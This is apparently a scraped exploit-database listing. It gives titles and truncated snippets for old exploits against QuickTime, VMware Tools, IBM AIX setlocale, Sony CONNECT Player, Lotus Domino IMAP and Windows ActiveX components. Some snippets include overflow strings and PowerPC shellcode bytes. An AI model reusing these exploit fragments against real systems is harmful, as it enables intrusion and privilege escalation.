Apple QuickTime 7.3 RTSP Response Universal Exploit (Vista / XP)

No description provided by source. !/usr/bin/python Apple QuickTime 7.3 RTSP Response Vista / XPSP2 Universal Bug discovered by Krystian Kloskowski h07 [email protected] Edited by muts - offensive-security.com http://www.offensive-security.com Tested on XP SP2 and Vista EN QuickTime/7.3...

VMware Tools hgfs.sys Local Privilege Escalation Vulnerability Exploit

No description provided by source. / VMware Tools hgfs.sys Local Privilege Escalation Vulnerability Exploit Created by SoBeIt Main file of exploit Tested on: Windows XP PRO SP2 Chinese Windows XP PRO SP2 English...

联众 ConnectAndEnterRoom

No description provided by source. html title7jdg's Blog/title object classid="clsid:AE93C5DF-A990-11D1-AEBD-5254ABDD2B69" id='target' style='display:none'/object body SCRIPT language="javascript" ...

Microsoft Jet数据库引擎MDB文件解析远程缓冲区溢出漏洞

Microsoft Jet DataBase Engine是一款Access数据库引擎。 Microsoft Jet数据库引擎处理MDB文件时存在缓冲区溢出，远程攻击者可以利用漏洞以应用程序进程权限执行任意指令。 当Microsoft Office Access解析MDB文件时，会调用Jet Engine msjet40.dll来解析它，通过构建恶意的MDB，会触发一个栈的缓冲区溢出： C:\\Windows\\System32\\msjet40.dll, version is 4.0.8618.0 .text:1B0B72BB mov ecx, edx ; ecx=0x5200...

迅雷5 pplayer.dll 组件漏洞

出现严重0-Day漏洞，病毒作者可利用该漏洞编写恶意网页，当用于浏览这些网页的时候，就会感染病毒，进而该病毒可以盗窃用户的帐号和密码，从而使用户遭受到损失。 与上次的不同，这次有漏洞的程序出现在迅雷看看（Thunder KanKan）上，pplayer.dll 组件版本号：1.2.3.49，CLSID:F3E70CEA-956E-49CC-B444-73AFE593AD7F. 该组件内的一个函数FlvPlayerUrl上，存在边界检查不严格的问题，当向其传递过长参数时，会导致程序溢出。病毒作者可以利用这个缺陷，精心编写Shellcode，溢出，然后可以下载任意恶意病毒文件。 迅雷5...

Microsoft Internet Explorer TIF/TIFF Code Execution (MS07-055)

No description provided by source. !/usr/bin/perl Microsoft Internet Explorer TIF/TIFF Code Execution MS07-055 Author: grabarz grabarz at grabarz.info Note: This exploit is modified from Hong Gil-Dong, Jeon Woo-chi PoC http://www.milw0rm.com/exploits/4584...

texinfo-poc.txt

--==+=============================================+==-- --==+ texinfo = 4.9 format string vuln PoC +==-- --==+=============================================+==-- DISCOVERED BY: Cody Rester WEBSITE: www.codyrester.com --==+=============================================+==-- TIMELINE:...

IBM AIX <= 5.3.0 setlocale() Local Privilege Escalation Exploit

No description provided by source. setlocale exploit for aix 5.2 CVE-2006-4254 [email protected] from os import execve bof="a"580+"bbbbccccddddx2fxf2x28x2f" egg="x60"2350 shellcode= by intropy at caughq.org "x7cxa5x2ax79" xor. r5,r5,r5 "x40x82xffxfd" bnel shellcode "x7fxe8x02xa6" mflr r31...

setlocate-local.txt

setlocale exploit for aix 5.2 CVE-2006-4254 [email protected] from os import execve bof="a"580+"bbbbccccdddd\x2f\xf2\x28\x2f" egg="\x60"2350 shellcode= by intropy caughq.org "\x7c\xa5\x2a\x79" xor. r5,r5,r5 "\x40\x82\xff\xfd" bnel "\x7f\xe8\x02\xa6" mflr r31 "\x3b\xff\x01\x20" cal...

IBM AIX 5.3.0 - 'setlocale()' Local Privilege Escalation

setlocale exploit for aix 5.2 CVE-2006-4254 [email protected] from os import execve bof="a"580+"bbbbccccdddd\x2f\xf2\x28\x2f" egg="\x60"2350 shellcode= by intropy caughq.org "\x7c\xa5\x2a\x79" xor. r5,r5,r5 "\x40\x82\xff\xfd" bnel "\x7f\xe8\x02\xa6" mflr r31 "\x3b\xff\x01\x20" cal...

maxthon2(voyagers 2) mxsafe. dll for web Trojan protection, and bypass-vulnerability warning-the black bar safety net

author: voidph4nt0m.org publish: 2007-09-27 http://www.ph4nt0m.org Text Mode maxthon2voyagers 2 mxsafe. dll for web Trojan protection as well as bypass ----------------------------------------------------------------------- maxthon2 boot time loading mxsafe. dll for some of the api hook. In the...

SonicWALL SSL-VPN - NeLaunchCtrl ActiveX Control Remote Command Execution

SonicWALL SSL-VPN - NeLaunchCtrl ActiveX Control Remote Command Execution var shellcode =...

Sony CONNECT Player 4.x (m3u File) Local Stack Overflow Exploit

No description provided by source. !/usr/bin/python Secunia Advisory : SA27270 Release Date : 2007-10-29 Sony CONNECT Player M3U Playlist Processing Stack Buffer Overflow m3u File Local Exploit Bug discovered by Parvez Anwar Exploit Written by TaMBaRuS [email protected] Tested on: Sony CONNECT...

sony-overflow.txt

!/usr/bin/python Secunia Advisory : SA27270 Release Date : 2007-10-29 Sony CONNECT Player M3U Playlist Processing Stack Buffer Overflow m3u File Local Exploit Bug discovered by Parvez Anwar Exploit Written by TaMBaRuS [email protected] Tested on: Sony CONNECT Player SonicStage 4.x installed on...

Sony CONNECT Player 4.x - .m3u Local Stack Overflow

Sony CONNECT Player 4.x - .m3u Local Stack Overflow !/usr/bin/python Secunia Advisory : SA27270 Release Date : 2007-10-29 Sony CONNECT Player M3U Playlist Processing Stack Buffer Overflow m3u File Local Exploit Bug discovered by Parvez Anwar Exploit Written by TaMBaRuS [email protected] Tested o...

CVE-2007-3510.pl.txt

!perl "IBM Lotus Domino" IMAP4 Server 'LSUB' Command Exploit Author: Manuel Santamarina Suarez e-Mail: [email protected] use IO::Socket; use File::Basename; destination TCP port $port = 143; SE handler You can only use HEX values from 0x20 to 0x7e! printable ASCII characters You must use a...

Sony CONNECT Player 4.x (m3u File) Local Stack Overflow Exploit

Exploit for unknown platform in category local exploits =============================================================== Sony CONNECT Player 4.x m3u File Local Stack Overflow Exploit =============================================================== !/usr/bin/python Secunia Advisory : SA27270 Release...

Sony CONNECT Player 4.x - '.m3u' Local Stack Overflow

!/usr/bin/python Secunia Advisory : SA27270 Release Date : 2007-10-29 Sony CONNECT Player M3U Playlist Processing Stack Buffer Overflow m3u File Local Exploit Bug discovered by Parvez Anwar Exploit Written by TaMBaRuS [email protected] Tested on: Sony CONNECT Player SonicStage 4.x installed on...

IBM Lotus Domino 7.0.2FP1 IMAP4 Server LSUB Command Exploit

No description provided by source. !perl "IBM Lotus Domino" IMAP4 Server 'LSUB' Command Exploit Author: Manuel Santamarina Suarez e-Mail: [email protected] use IO::Socket; use File::Basename; destination TCP port $port = 143; SE handler...

IBM Lotus Domino 7.0.2FP1 - IMAP4 Server LSUB Command

IBM Lotus Domino 7.0.2FP1 - IMAP4 Server LSUB Command !perl "IBM Lotus Domino" IMAP4 Server 'LSUB' Command Exploit Author: Manuel Santamarina Suarez e-Mail: [email protected] use IO::Socket; use File::Basename; destination TCP port $port = 143; SE handler You can only use HEX values from 0x20 to...